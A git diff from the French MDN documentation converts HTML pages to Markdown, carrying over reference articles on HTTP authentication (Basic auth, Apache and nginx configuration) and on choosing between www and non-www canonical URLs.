files/fr/web/http/methods/trace/index.html create mode 100644 files/fr/web/http/methods/trace/index.md delete mode 100644 files/fr/web/http/overview/index.html create mode 100644 files/fr/web/http/overview/index.md delete mode 100644 files/fr/web/http/public_key_pinning/index.html create mode 100644 files/fr/web/http/public_key_pinning/index.md delete mode 100644 files/fr/web/http/redirections/index.html create mode 100644 files/fr/web/http/redirections/index.md delete mode 100644 files/fr/web/http/resources_and_specifications/index.html create mode 100644 files/fr/web/http/resources_and_specifications/index.md delete mode 100644 files/fr/web/http/session/index.html create mode 100644 files/fr/web/http/session/index.md delete mode 100644 files/fr/web/http/status/100/index.html create mode 100644 files/fr/web/http/status/100/index.md delete mode 100644 files/fr/web/http/status/101/index.html create mode 100644 files/fr/web/http/status/101/index.md delete mode 100644 files/fr/web/http/status/103/index.html create mode 100644 files/fr/web/http/status/103/index.md delete mode 100644 files/fr/web/http/status/200/index.html create mode 100644 files/fr/web/http/status/200/index.md delete mode 100644 files/fr/web/http/status/201/index.html create mode 100644 files/fr/web/http/status/201/index.md delete mode 100644 files/fr/web/http/status/202/index.html create mode 100644 files/fr/web/http/status/202/index.md delete mode 100644 files/fr/web/http/status/203/index.html create mode 100644 files/fr/web/http/status/203/index.md delete mode 100644 files/fr/web/http/status/204/index.html create mode 100644 files/fr/web/http/status/204/index.md delete mode 100644 files/fr/web/http/status/205/index.html create mode 100644 files/fr/web/http/status/205/index.md delete mode 100644 files/fr/web/http/status/206/index.html create mode 100644 files/fr/web/http/status/206/index.md delete mode 100644 files/fr/web/http/status/300/index.html create mode 100644 files/fr/web/http/status/300/index.md delete mode 100644 files/fr/web/http/status/301/index.html create mode 100644 files/fr/web/http/status/301/index.md delete mode 100644 files/fr/web/http/status/302/index.html create mode 100644 files/fr/web/http/status/302/index.md delete mode 100644 files/fr/web/http/status/303/index.html create mode 100644 files/fr/web/http/status/303/index.md delete mode 100644 files/fr/web/http/status/304/index.html create mode 100644 files/fr/web/http/status/304/index.md delete mode 100644 files/fr/web/http/status/307/index.html create mode 100644 files/fr/web/http/status/307/index.md delete mode 100644 files/fr/web/http/status/308/index.html create mode 100644 files/fr/web/http/status/308/index.md delete mode 100644 files/fr/web/http/status/400/index.html create mode 100644 files/fr/web/http/status/400/index.md delete mode 100644 files/fr/web/http/status/401/index.html create mode 100644 files/fr/web/http/status/401/index.md delete mode 100644 files/fr/web/http/status/402/index.html create mode 100644 files/fr/web/http/status/402/index.md delete mode 100644 files/fr/web/http/status/403/index.html create mode 100644 files/fr/web/http/status/403/index.md delete mode 100644 files/fr/web/http/status/404/index.html create mode 100644 files/fr/web/http/status/404/index.md delete mode 100644 files/fr/web/http/status/405/index.html create mode 100644 files/fr/web/http/status/405/index.md delete mode 100644 files/fr/web/http/status/406/index.html create mode 100644 files/fr/web/http/status/406/index.md delete mode 100644 files/fr/web/http/status/407/index.html create mode 100644 files/fr/web/http/status/407/index.md delete mode 100644 files/fr/web/http/status/408/index.html create mode 100644 files/fr/web/http/status/408/index.md delete mode 100644 files/fr/web/http/status/409/index.html create mode 100644 files/fr/web/http/status/409/index.md delete mode 100644 files/fr/web/http/status/410/index.html create mode 100644 files/fr/web/http/status/410/index.md delete mode 100644 files/fr/web/http/status/411/index.html create mode 100644 files/fr/web/http/status/411/index.md delete mode 100644 files/fr/web/http/status/412/index.html create mode 100644 files/fr/web/http/status/412/index.md delete mode 100644 files/fr/web/http/status/413/index.html create mode 100644 files/fr/web/http/status/413/index.md delete mode 100644 files/fr/web/http/status/414/index.html create mode 100644 files/fr/web/http/status/414/index.md delete mode 100644 files/fr/web/http/status/415/index.html create mode 100644 files/fr/web/http/status/415/index.md delete mode 100644 files/fr/web/http/status/416/index.html create mode 100644 files/fr/web/http/status/416/index.md delete mode 100644 files/fr/web/http/status/417/index.html create mode 100644 files/fr/web/http/status/417/index.md delete mode 100644 files/fr/web/http/status/418/index.html create mode 100644 files/fr/web/http/status/418/index.md delete mode 100644 files/fr/web/http/status/422/index.html create mode 100644 files/fr/web/http/status/422/index.md delete mode 100644 files/fr/web/http/status/425/index.html create mode 100644 files/fr/web/http/status/425/index.md delete mode 100644 files/fr/web/http/status/426/index.html create mode 100644 files/fr/web/http/status/426/index.md delete mode 100644 files/fr/web/http/status/428/index.html create mode 100644 files/fr/web/http/status/428/index.md delete mode 100644 files/fr/web/http/status/429/index.html create mode 100644 files/fr/web/http/status/429/index.md delete mode 100644 files/fr/web/http/status/431/index.html create mode 100644 files/fr/web/http/status/431/index.md delete mode 100644 files/fr/web/http/status/451/index.html create mode 100644 files/fr/web/http/status/451/index.md delete mode 100644 files/fr/web/http/status/500/index.html create mode 100644 files/fr/web/http/status/500/index.md delete mode 100644 files/fr/web/http/status/501/index.html create mode 100644 files/fr/web/http/status/501/index.md delete mode 100644 files/fr/web/http/status/502/index.html create mode 100644 files/fr/web/http/status/502/index.md delete mode 100644 files/fr/web/http/status/503/index.html create mode 100644 files/fr/web/http/status/503/index.md delete mode 100644 files/fr/web/http/status/504/index.html create mode 100644 files/fr/web/http/status/504/index.md delete mode 100644 files/fr/web/http/status/505/index.html create mode 100644 files/fr/web/http/status/505/index.md delete mode 100644 files/fr/web/http/status/506/index.html create mode 100644 files/fr/web/http/status/506/index.md delete mode 100644 files/fr/web/http/status/507/index.html create mode 100644 files/fr/web/http/status/507/index.md delete mode 100644 files/fr/web/http/status/508/index.html create mode 100644 files/fr/web/http/status/508/index.md delete mode 100644 files/fr/web/http/status/510/index.html create mode 100644 files/fr/web/http/status/510/index.md delete mode 100644 files/fr/web/http/status/511/index.html create mode 100644 files/fr/web/http/status/511/index.md delete mode 100644 files/fr/web/http/status/index.html create mode 100644 files/fr/web/http/status/index.md (limited to 'files') diff --git a/files/fr/web/http/authentication/index.html b/files/fr/web/http/authentication/index.html deleted file mode 100644 index 005ef8ed1a..0000000000 --- a/files/fr/web/http/authentication/index.html +++ /dev/null @@ -1,130 +0,0 @@ ---- -title: Authentification HTTP -slug: Web/HTTP/Authentication -translation_of: Web/HTTP/Authentication ---- -
{{HTTPSidebar}}
- -

HTTP fournit la structure permettant le contrôle d'accès ainsi que l'authentification. Le schéma d'authentification HTTP le plus courant est « l'authentification basique » (« Basic authentication » en anglais). Cette page a pour but de présenter ce schéma d'authentification, et montre comment l'utiliser pour restreindre l'accès à votre serveur.

- -

La structure d'authentification HTTP

- -

La RFC 7235 définit la structure d'authentification HTTP qui est utilisable par un serveur pour défier une requête d'un client, et inversement par un client pour fournir des informations d'authentification à un serveur.

- -

Le fonctionnement du défi/réponse se déroule ainsi :

- -
    -
  1. Le serveur répond à un client avec un statut 401 (« Unauthorized ») et fournit l'information permettant l'autorisation via un en-tête de réponse WWW-Authenticate contenant au moins un défi.
    2. -
  2. Le client désirant s'authentifier peut ensuite le faire en incluant un en-tête de requête Authorization contenant ses identifiants.
    3. -
  3. Très souvent, le client va demander à l'utilisateur un mot de passe et ensuite envoyer la requête au serveur en incluant cette information dans l'en-tête Authorization.
    4. -
- -

Un diagramme de séquence illustrant les messages HTTP entre un client et la ligne de vie du serveur

- -

Dans le cadre d'une authentification basique comme montré dans l'image ci-dessus, les échanges doivent s'effectuer au travers d'une connection HTTPS (TLS) afin d'être sécurisée.

- -

Authentification par procuration

- -

Le même mécanisme de défi et réponse peut être utilisée pour l'authentification par procuration (« Proxy authentication » en anglais). Dans ce cas, c'est un système de procuration intermédiaire qui requiert l'authentification. Comme les deux authentifications (celle de la ressource et celle du système de procuration) peuvent coexister, un autre jeu d'en-têtes et de codes de réponses HTTP est nécessaire. Dans le cadre des systèmes de procuration, le code HTTP de défi est 407 (« Proxy Authentication Required »), l'en-tête de réponse Proxy-Authenticate contient au moins un défi applicable au système de procuration et l'en-tête de requête Proxy-Authorization est utilisé pour fournir les identifiants au serveur de procuration.

- -

Accès interdit

- -

Si un serveur de procuration reçoit des identifiants valides ne permettant pas d'avoir accès à une ressource donnée, le serveur doit répondre avec un code de réponse 403 (« Forbidden »). Dans ce cas, à l'inverse des codes 401 (« Unauthorized ») ou 407 (« Proxy Authentication Required »), l'authentification n'est pas possible pour cet utilisateur.

- -

Authentification des images multi-origines

- -

Une faille de sécurité potentielle qui a été récemment corrigée par les navigateurs est l'authentification des images multi-origines. À partir de Firefox 59 et versions ultérieures, les images chargées depuis des origines différentes du site courant ne sont plus en mesure de déclencher l'ouverture d'une fenêtre de dialogue (bug 1423146) demandant l'authentification HTTP, empêchant ainsi le vol d'identifiants utilisateurs si des personnes mal-intentionnées étaient en mesure d'embarquer une image aléatoire dans une page.

- -

Encodage de caractère de l'authentification HTTP

- -

Les navigateurs utilisent l'encodage de caractère utf-8 pour les noms d'utilisateur ainsi que les mots de passe. Firefox utilisait auparavant l'encodage ISO-8859-1, mais l'a remplacé par utf-8 afin de s'aligner avec les autres navigateurs et ainsi éviter les potentiels problèmes, comme décrit dans le bug 1419658.

- -

En-têtes WWW-Authenticate et Proxy-Authenticate

- -

Les en-têtes de réponse WWW-Authenticate et Proxy-Authenticate définissent le schéma d'authentification devant être utilisée pour accéder à une ressource, afin que le client désirant y accéder puisse savoir comment fournir les identifiants.

- -

La syntaxe pour ces en-têtes est la suivante :

- -
WWW-Authenticate: <type> realm=<realm>
-Proxy-Authenticate: <type> realm=<realm>
- -

Ici, <type> est le schéma d'authentification (« Basic » est le plus courant des schémas, et est présenté ici). Le realm (« domaine » en français) est utilisé pour décrire la « zone » protégée, ou pour indiquer la portée de la protection. Cela pourrait être un message, par exemple « Accès au site de pré-production », pour que l'utilisateur puisse savoir à quel espace il est en train d'accéder.

- -

En-têtes Authorization et Proxy-Authorization

- -

Les en-têtes de requête Authorization et Proxy-Authorization contiennent les identifiants pour authentifier un client avec un serveur (de procuration). Ici, le type est encore une fois nécessaire, suivi par les identifiants, qui peuvent être encodés voire encryptés selon le schéma d'authentification utilisé.

- -
Authorization: <type> <credentials>
-Proxy-Authorization: <type> <credentials>
- -

Schéma d'authentification

- -

La structure d'authentification HTTP est utilisée par plusieurs schémas d'authentification. Ils diffèrent de par leur niveau de sécurité ainsi que par leur disponibilité dans les systèmes client ou serveur.

- -

Le plus commun est le schéma d'authentification « Basique » (« Basic » en anglais), qui est présenté plus en détail ci-dessous. IANA maintient une liste des schémas d'authentification, mais ils y en a d'autres fournit par des services d'hébergement comme Amazon AWS. Les schémas communs sont :

- -
-
Basic
-
Voir RFC 7617, identifiants encodés en base64. Voir ci-dessous pour plus de détails.
-
Bearer
-
Voir RFC 6750, jetons bearer (« porteur » en français) pour accéder à des ressources protégées par OAuth 2.0.
-
Digest
-
Voir RFC 7616, Firefox n'est compatible qu'avec le chiffrement md5, voir bug 472823 pour la compatibilité avec le chiffrement SHA.
-
HOBA
-
Voir RFC 7486, HTTP Origin-Bound Authentication, basé sur une signature digitale.
-
Mutual
-
Voir draft-ietf-httpauth-mutual.
-
AWS4-HMAC-SHA256
-
Voir la Documentation AWS.
-
- -

Schéma d'authentification basique

- -

Le schéma d'authentification « basique » est défini dans la RFC 7617, et transmet les identifiants via des ensembles ID_utilisateur/mot_de_passe, encodés avec base64.

- -

Sécurité de l'authentification basique

- -

Étant donné que l'ID utilisateur et le mot de passe transitent sur le réseau en clair (base64 étant un encodage réversible), le schéma d'authentification basique n'est pas sécurisé. C'est pourquoi HTTPS / TLS doivent être utilisés avec ce type d'authentification. Sans cela, ce schéma ne doit pas être utilisé pour protéger des informations sensibles.

- -

Restreindre l'accès avec Apache et l'authentification basique

- -

Pour protéger avec un mot de passe un répertoire sur un serveur Apache, vous aurez besoin d'utiliser un ou plusieurs fichiers .htaccess et .htpasswd.

- -

Le fichier .htaccess ressemble à ceci :

- -
AuthType Basic
-AuthName "Accès au site de pré-production"
-AuthUserFile /chemin/vers/.htpasswd
-Require valid-user
- -

Le fichier .htaccess fait référence à un fichier .htpasswd dans lequel chaque ligne contient un nom d'utilisateur et un mot de passe séparés par deux-points (« : »). Vous ne pouvez pas déchiffrer les mots de passe à l'intérieur, car ils sont chiffrées (en md5 en l'occurrence). Vous pouvez tout à fait nommer votre fichier .htpasswd différemment si vous le désirez, mais gardez en tête que ce fichier ne doit pas être accessible à quiconque (Apache est normalement configuré pour empêcher l'accès aux fichiers .ht*).

- -
aladdin:$apr1$ZjTqBB3f$IF9gdYAGlMrs2fuINjHsz.
-user2:$apr1$O04r.y2H$/vEkesPhVInBByJUkXitA/
- -

Restreindre l'accès avec nginx et l'authentification basique

- -

Pour nginx, vous aurez besoin de spécifier une zone ou emplacement (location en anglais) à protéger, ainsi que la directive auth_basic définissant le nom de cette zone. La directive auth_basic_user_file fait référence à un fichier .htpasswd contenant les identifiants utilisateurs encryptés, exactement comme dans l'exemple avec Apache ci-dessus.

- -
location /status {
-  auth_basic           "Access to the staging site";
-  auth_basic_user_file /etc/apache2/.htpasswd;
-}
- -

Accès avec identifiants dans l'URL

- -

Beaucoup de clients permettent d'éviter la fenêtre de dialogue demandant les identifiants en utilisant une URL contenant le nom d'utilisateur ainsi que le mot de passe comme suit :

- -
https://utilisateur:password@www.example.com/
- -

L'utilisation de ces URLs est dépréciée. Dans Chrome, la partie username:password@ dans les URLs est même retirée pour des raisons de sécurité. Dans Firefox, le site est testé afin de savoir s'il requiert ou non l'authentification et si ce n'est pas le cas, Firefox va avertir l'utilisateur avec une fenêtre de dialogue « Vous êtes sur le point de vous connecter au site "www.example.com" avec le nom d'utilisateur "username", mais le site ne requiert pas d'authentification. Ceci pourrait être une tentative pour vous piéger. »

- -

Voir aussi

- - diff --git a/files/fr/web/http/authentication/index.md b/files/fr/web/http/authentication/index.md new file mode 100644 index 0000000000..005ef8ed1a --- /dev/null +++ b/files/fr/web/http/authentication/index.md @@ -0,0 +1,130 @@ +--- +title: Authentification HTTP +slug: Web/HTTP/Authentication +translation_of: Web/HTTP/Authentication +--- +
{{HTTPSidebar}}
+ +

HTTP fournit la structure permettant le contrôle d'accès ainsi que l'authentification. Le schéma d'authentification HTTP le plus courant est « l'authentification basique » (« Basic authentication » en anglais). Cette page a pour but de présenter ce schéma d'authentification, et montre comment l'utiliser pour restreindre l'accès à votre serveur.

+ +

La structure d'authentification HTTP

+ +

La RFC 7235 définit la structure d'authentification HTTP qui est utilisable par un serveur pour défier une requête d'un client, et inversement par un client pour fournir des informations d'authentification à un serveur.

+ +

Le fonctionnement du défi/réponse se déroule ainsi :

+ +
    +
  1. Le serveur répond à un client avec un statut 401 (« Unauthorized ») et fournit l'information permettant l'autorisation via un en-tête de réponse WWW-Authenticate contenant au moins un défi.
    2. +
  2. Le client désirant s'authentifier peut ensuite le faire en incluant un en-tête de requête Authorization contenant ses identifiants.
    3. +
  3. Très souvent, le client va demander à l'utilisateur un mot de passe et ensuite envoyer la requête au serveur en incluant cette information dans l'en-tête Authorization.
    4. +
+ +

Un diagramme de séquence illustrant les messages HTTP entre un client et la ligne de vie du serveur

+ +

Dans le cadre d'une authentification basique comme montré dans l'image ci-dessus, les échanges doivent s'effectuer au travers d'une connection HTTPS (TLS) afin d'être sécurisée.

+ +

Authentification par procuration

+ +

Le même mécanisme de défi et réponse peut être utilisée pour l'authentification par procuration (« Proxy authentication » en anglais). Dans ce cas, c'est un système de procuration intermédiaire qui requiert l'authentification. Comme les deux authentifications (celle de la ressource et celle du système de procuration) peuvent coexister, un autre jeu d'en-têtes et de codes de réponses HTTP est nécessaire. Dans le cadre des systèmes de procuration, le code HTTP de défi est 407 (« Proxy Authentication Required »), l'en-tête de réponse Proxy-Authenticate contient au moins un défi applicable au système de procuration et l'en-tête de requête Proxy-Authorization est utilisé pour fournir les identifiants au serveur de procuration.

+ +

Accès interdit

+ +

Si un serveur de procuration reçoit des identifiants valides ne permettant pas d'avoir accès à une ressource donnée, le serveur doit répondre avec un code de réponse 403 (« Forbidden »). Dans ce cas, à l'inverse des codes 401 (« Unauthorized ») ou 407 (« Proxy Authentication Required »), l'authentification n'est pas possible pour cet utilisateur.

+ +

Authentification des images multi-origines

+ +

Une faille de sécurité potentielle qui a été récemment corrigée par les navigateurs est l'authentification des images multi-origines. À partir de Firefox 59 et versions ultérieures, les images chargées depuis des origines différentes du site courant ne sont plus en mesure de déclencher l'ouverture d'une fenêtre de dialogue (bug 1423146) demandant l'authentification HTTP, empêchant ainsi le vol d'identifiants utilisateurs si des personnes mal-intentionnées étaient en mesure d'embarquer une image aléatoire dans une page.

+ +

Encodage de caractère de l'authentification HTTP

+ +

Les navigateurs utilisent l'encodage de caractère utf-8 pour les noms d'utilisateur ainsi que les mots de passe. Firefox utilisait auparavant l'encodage ISO-8859-1, mais l'a remplacé par utf-8 afin de s'aligner avec les autres navigateurs et ainsi éviter les potentiels problèmes, comme décrit dans le bug 1419658.

+ +

En-têtes WWW-Authenticate et Proxy-Authenticate

+ +

Les en-têtes de réponse WWW-Authenticate et Proxy-Authenticate définissent le schéma d'authentification devant être utilisée pour accéder à une ressource, afin que le client désirant y accéder puisse savoir comment fournir les identifiants.

+ +

La syntaxe pour ces en-têtes est la suivante :

+ +
WWW-Authenticate: <type> realm=<realm>
+Proxy-Authenticate: <type> realm=<realm>
+ +

Ici, <type> est le schéma d'authentification (« Basic » est le plus courant des schémas, et est présenté ici). Le realm (« domaine » en français) est utilisé pour décrire la « zone » protégée, ou pour indiquer la portée de la protection. Cela pourrait être un message, par exemple « Accès au site de pré-production », pour que l'utilisateur puisse savoir à quel espace il est en train d'accéder.

+ +

En-têtes Authorization et Proxy-Authorization

+ +

Les en-têtes de requête Authorization et Proxy-Authorization contiennent les identifiants pour authentifier un client avec un serveur (de procuration). Ici, le type est encore une fois nécessaire, suivi par les identifiants, qui peuvent être encodés voire encryptés selon le schéma d'authentification utilisé.

+ +
Authorization: <type> <credentials>
+Proxy-Authorization: <type> <credentials>
+ +

Schéma d'authentification

+ +

La structure d'authentification HTTP est utilisée par plusieurs schémas d'authentification. Ils diffèrent de par leur niveau de sécurité ainsi que par leur disponibilité dans les systèmes client ou serveur.

+ +

Le plus commun est le schéma d'authentification « Basique » (« Basic » en anglais), qui est présenté plus en détail ci-dessous. IANA maintient une liste des schémas d'authentification, mais ils y en a d'autres fournit par des services d'hébergement comme Amazon AWS. Les schémas communs sont :

+ +
+
Basic
+
Voir RFC 7617, identifiants encodés en base64. Voir ci-dessous pour plus de détails.
+
Bearer
+
Voir RFC 6750, jetons bearer (« porteur » en français) pour accéder à des ressources protégées par OAuth 2.0.
+
Digest
+
Voir RFC 7616, Firefox n'est compatible qu'avec le chiffrement md5, voir bug 472823 pour la compatibilité avec le chiffrement SHA.
+
HOBA
+
Voir RFC 7486, HTTP Origin-Bound Authentication, basé sur une signature digitale.
+
Mutual
+
Voir draft-ietf-httpauth-mutual.
+
AWS4-HMAC-SHA256
+
Voir la Documentation AWS.
+
+ +

Schéma d'authentification basique

+ +

Le schéma d'authentification « basique » est défini dans la RFC 7617, et transmet les identifiants via des ensembles ID_utilisateur/mot_de_passe, encodés avec base64.

+ +

Sécurité de l'authentification basique

+ +

Étant donné que l'ID utilisateur et le mot de passe transitent sur le réseau en clair (base64 étant un encodage réversible), le schéma d'authentification basique n'est pas sécurisé. C'est pourquoi HTTPS / TLS doivent être utilisés avec ce type d'authentification. Sans cela, ce schéma ne doit pas être utilisé pour protéger des informations sensibles.

+ +

Restreindre l'accès avec Apache et l'authentification basique

+ +

Pour protéger avec un mot de passe un répertoire sur un serveur Apache, vous aurez besoin d'utiliser un ou plusieurs fichiers .htaccess et .htpasswd.

+ +

Le fichier .htaccess ressemble à ceci :

+ +
AuthType Basic
+AuthName "Accès au site de pré-production"
+AuthUserFile /chemin/vers/.htpasswd
+Require valid-user
+ +

Le fichier .htaccess fait référence à un fichier .htpasswd dans lequel chaque ligne contient un nom d'utilisateur et un mot de passe séparés par deux-points (« : »). Vous ne pouvez pas déchiffrer les mots de passe à l'intérieur, car ils sont chiffrées (en md5 en l'occurrence). Vous pouvez tout à fait nommer votre fichier .htpasswd différemment si vous le désirez, mais gardez en tête que ce fichier ne doit pas être accessible à quiconque (Apache est normalement configuré pour empêcher l'accès aux fichiers .ht*).

+ +
aladdin:$apr1$ZjTqBB3f$IF9gdYAGlMrs2fuINjHsz.
+user2:$apr1$O04r.y2H$/vEkesPhVInBByJUkXitA/
+ +

Restreindre l'accès avec nginx et l'authentification basique

+ +

Pour nginx, vous aurez besoin de spécifier une zone ou emplacement (location en anglais) à protéger, ainsi que la directive auth_basic définissant le nom de cette zone. La directive auth_basic_user_file fait référence à un fichier .htpasswd contenant les identifiants utilisateurs encryptés, exactement comme dans l'exemple avec Apache ci-dessus.

+ +
location /status {
+  auth_basic           "Access to the staging site";
+  auth_basic_user_file /etc/apache2/.htpasswd;
+}
+ +

Accès avec identifiants dans l'URL

+ +

Beaucoup de clients permettent d'éviter la fenêtre de dialogue demandant les identifiants en utilisant une URL contenant le nom d'utilisateur ainsi que le mot de passe comme suit :

+ +
https://utilisateur:password@www.example.com/
+ +

L'utilisation de ces URLs est dépréciée. Dans Chrome, la partie username:password@ dans les URLs est même retirée pour des raisons de sécurité. Dans Firefox, le site est testé afin de savoir s'il requiert ou non l'authentification et si ce n'est pas le cas, Firefox va avertir l'utilisateur avec une fenêtre de dialogue « Vous êtes sur le point de vous connecter au site "www.example.com" avec le nom d'utilisateur "username", mais le site ne requiert pas d'authentification. Ceci pourrait être une tentative pour vous piéger. »

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/basics_of_http/choosing_between_www_and_non-www_urls/index.html b/files/fr/web/http/basics_of_http/choosing_between_www_and_non-www_urls/index.html deleted file mode 100644 index 0775a812bb..0000000000 --- a/files/fr/web/http/basics_of_http/choosing_between_www_and_non-www_urls/index.html +++ /dev/null @@ -1,70 +0,0 @@ ---- -title: Choisir entre les URLs avec ou sans www -slug: Web/HTTP/Basics_of_HTTP/Choosing_between_www_and_non-www_URLs -tags: - - Guide - - HTTP - - URL -translation_of: Web/HTTP/Basics_of_HTTP/Choosing_between_www_and_non-www_URLs -original_slug: Web/HTTP/Basics_of_HTTP/Choisir_entre_les_URLs_www_sans_www ---- -
{{HTTPSidebar}}
- -

Une question récurrente chez les propriétaires de sites web est de choisir entre utiliser des URLs qui débutent ou non par www. Cette page fournit quelques conseils sur la meilleure approche à envisager.

- -

Que sont les noms de domaines ?

- -

Dans une URL HTTP, la première chaîne qui suit le schéma http:// ou https:// est appelé le nom de domaine. C'est le nom du site où le document est hébergé, ce site étant lui-même hébergé sur un serveur.

- -

Un serveur n'est pas nécessairement une machine physique : plusieurs serveurs peuvent cohabiter au sein d'une seule machine physique. Un serveur peut tout aussi bien être supporté par plusieurs machines, qui permettent de restituer l'ensemble de la réponse ou de pouvoir équilibrer la charge des requêtes entre elles. Le point clé est que, sémantiquement, un nom de domaine représente un seul serveur.

- -

Donc je dois choisir l'un ou l'autre pour mon site web ?

- - - -

Ainsi, choisissez un de vos domaines comme domaine canonique. Les deux techniques ci-dessous permettent de maintenir le domaine non-canonique en état de marche.

- -

Techniques pour les URLs canoniques

- -

Il existe différentes manières de choisir le site web qui sera le site canonique.

- -

Utiliser la redirection via HTTP 301

- -

Dans ce cas, vous devez configurer le serveur qui reçoit les requêtes HTTP (a priori, le serveur qui sert le domaine avec ou sans www est le même) pour qu'il réponde un statut HTTP {{HTTPStatus(301)}} pour chaque requête provenant du domaine non-canonique. Cela aura pour effet de rediriger le navigateur qui essaie d'accéder aux adresses non-canoniques vers leurs équivalents canoniques. Ainsi, si vous avez choisi d'utiliser un domaine qui ne démarre pas par www, vous devriez rediriger chaque URL débutant par www vers une URL sans www.

- -

Exemple :

- -
    -
  1. Un serveur reçoit une requête pour https://www.exemple.org/kadoc (tandis que le domaine canonique est constitué par exemple.org)
    2. -
  2. Le serveur répond via un code {{HTTPStatus(301)}} contenant l'en-tête {{HTTPHeader("Location")}}: https://exemple.org/kadoc.
    3. -
  3. Le client émet une requête pour le domaine canonique : https://exemple.org/kadoc
    4. -
- -

Le projet HTML5 boilerplate contient un exemple sur la configuration d'un serveur Apache afin de rediriger un domaine vers un autre.

- - - -

Il est possible d'ajouter un élément HTML spécifique {{HTMLElement("link")}} pour indiquer l'adresse canonique de la page. Cela n'a aucun impact sur la personne qui visite la page web, en revanche, elle permet aux robots des moteurs de recherche de connaître l'adresse effective de la page. De cette manière les moteurs de recherche n'indexent pas le contenu de façon répétée. Sans cet élément, ils pourraient penser que la page est dupliquée ou constitue du spam, ce qui entraînerait la disparition de la page dans les index des moteurs de recherche ou un mauvais classement.

- -

Lors de l'ajout de cet élément, vous servez le même contenu entre les deux domaines tout en indiquant aux moteurs de recherche lequel est canonique. Dans l'exemple précédent https://www.exemple.org/kadoc contiendrait le même contenu que https://exemple.org/kadoc, avec un élément {{htmlelement("link")}} supplémentaire dans l'en-tête :

- -

< link href="https://exemple.org/kadoc" rel="canonical">

- -

À l'inverse du cas précédent, les URLs débutant par www ou non seront alors considérées dans l'historique du navigateur comme des entrées distinctes.

- -

Adapter votre page aux deux cas

- -

Grâce à ces techniques, vous pouvez configurer votre serveur pour répondre correctement à l'ensemble des cas (www ou non). Il s'agit d'une bonne démarche, étant donné qu'il est impossible de prédire ce qu'un utilisateur tapera dans sa barre d'adresse. Il faut simplement déterminer votre domaine canonique pour ensuite effectuer la redirection vers ce dernier.

- -

Choisir www ou non

- -

Il s'agit d'un sujet subjectif âprement débattu. S vous souhaitez approfondir, vous pouvez lire de nombreux articles sur ce sujet.

- -

Voir aussi

- - diff --git a/files/fr/web/http/basics_of_http/choosing_between_www_and_non-www_urls/index.md b/files/fr/web/http/basics_of_http/choosing_between_www_and_non-www_urls/index.md new file mode 100644 index 0000000000..0775a812bb --- /dev/null +++ b/files/fr/web/http/basics_of_http/choosing_between_www_and_non-www_urls/index.md @@ -0,0 +1,70 @@ +--- +title: Choisir entre les URLs avec ou sans www +slug: Web/HTTP/Basics_of_HTTP/Choosing_between_www_and_non-www_URLs +tags: + - Guide + - HTTP + - URL +translation_of: Web/HTTP/Basics_of_HTTP/Choosing_between_www_and_non-www_URLs +original_slug: Web/HTTP/Basics_of_HTTP/Choisir_entre_les_URLs_www_sans_www +--- +
{{HTTPSidebar}}
+ +

Une question récurrente chez les propriétaires de sites web est de choisir entre utiliser des URLs qui débutent ou non par www. Cette page fournit quelques conseils sur la meilleure approche à envisager.

+ +

Que sont les noms de domaines ?

+ +

Dans une URL HTTP, la première chaîne qui suit le schéma http:// ou https:// est appelé le nom de domaine. C'est le nom du site où le document est hébergé, ce site étant lui-même hébergé sur un serveur.

+ +

Un serveur n'est pas nécessairement une machine physique : plusieurs serveurs peuvent cohabiter au sein d'une seule machine physique. Un serveur peut tout aussi bien être supporté par plusieurs machines, qui permettent de restituer l'ensemble de la réponse ou de pouvoir équilibrer la charge des requêtes entre elles. Le point clé est que, sémantiquement, un nom de domaine représente un seul serveur.

+ +

Donc je dois choisir l'un ou l'autre pour mon site web ?

+ + + +

Ainsi, choisissez un de vos domaines comme domaine canonique. Les deux techniques ci-dessous permettent de maintenir le domaine non-canonique en état de marche.

+ +

Techniques pour les URLs canoniques

+ +

Il existe différentes manières de choisir le site web qui sera le site canonique.

+ +

Utiliser la redirection via HTTP 301

+ +

Dans ce cas, vous devez configurer le serveur qui reçoit les requêtes HTTP (a priori, le serveur qui sert le domaine avec ou sans www est le même) pour qu'il réponde un statut HTTP {{HTTPStatus(301)}} pour chaque requête provenant du domaine non-canonique. Cela aura pour effet de rediriger le navigateur qui essaie d'accéder aux adresses non-canoniques vers leurs équivalents canoniques. Ainsi, si vous avez choisi d'utiliser un domaine qui ne démarre pas par www, vous devriez rediriger chaque URL débutant par www vers une URL sans www.

+ +

Exemple :

+ +
    +
  1. Un serveur reçoit une requête pour https://www.exemple.org/kadoc (tandis que le domaine canonique est constitué par exemple.org)
    2. +
  2. Le serveur répond via un code {{HTTPStatus(301)}} contenant l'en-tête {{HTTPHeader("Location")}}: https://exemple.org/kadoc.
    3. +
  3. Le client émet une requête pour le domaine canonique : https://exemple.org/kadoc
    4. +
+ +

Le projet HTML5 boilerplate contient un exemple sur la configuration d'un serveur Apache afin de rediriger un domaine vers un autre.

+ + + +

Il est possible d'ajouter un élément HTML spécifique {{HTMLElement("link")}} pour indiquer l'adresse canonique de la page. Cela n'a aucun impact sur la personne qui visite la page web, en revanche, elle permet aux robots des moteurs de recherche de connaître l'adresse effective de la page. De cette manière les moteurs de recherche n'indexent pas le contenu de façon répétée. Sans cet élément, ils pourraient penser que la page est dupliquée ou constitue du spam, ce qui entraînerait la disparition de la page dans les index des moteurs de recherche ou un mauvais classement.

+ +

Lors de l'ajout de cet élément, vous servez le même contenu entre les deux domaines tout en indiquant aux moteurs de recherche lequel est canonique. Dans l'exemple précédent https://www.exemple.org/kadoc contiendrait le même contenu que https://exemple.org/kadoc, avec un élément {{htmlelement("link")}} supplémentaire dans l'en-tête :

+ +

< link href="https://exemple.org/kadoc" rel="canonical">

+ +

À l'inverse du cas précédent, les URLs débutant par www ou non seront alors considérées dans l'historique du navigateur comme des entrées distinctes.

+ +

Adapter votre page aux deux cas

+ +

Grâce à ces techniques, vous pouvez configurer votre serveur pour répondre correctement à l'ensemble des cas (www ou non). Il s'agit d'une bonne démarche, étant donné qu'il est impossible de prédire ce qu'un utilisateur tapera dans sa barre d'adresse. Il faut simplement déterminer votre domaine canonique pour ensuite effectuer la redirection vers ce dernier.

+ +

Choisir www ou non

+ +

Il s'agit d'un sujet subjectif âprement débattu. S vous souhaitez approfondir, vous pouvez lire de nombreux articles sur ce sujet.

+ +

Voir aussi

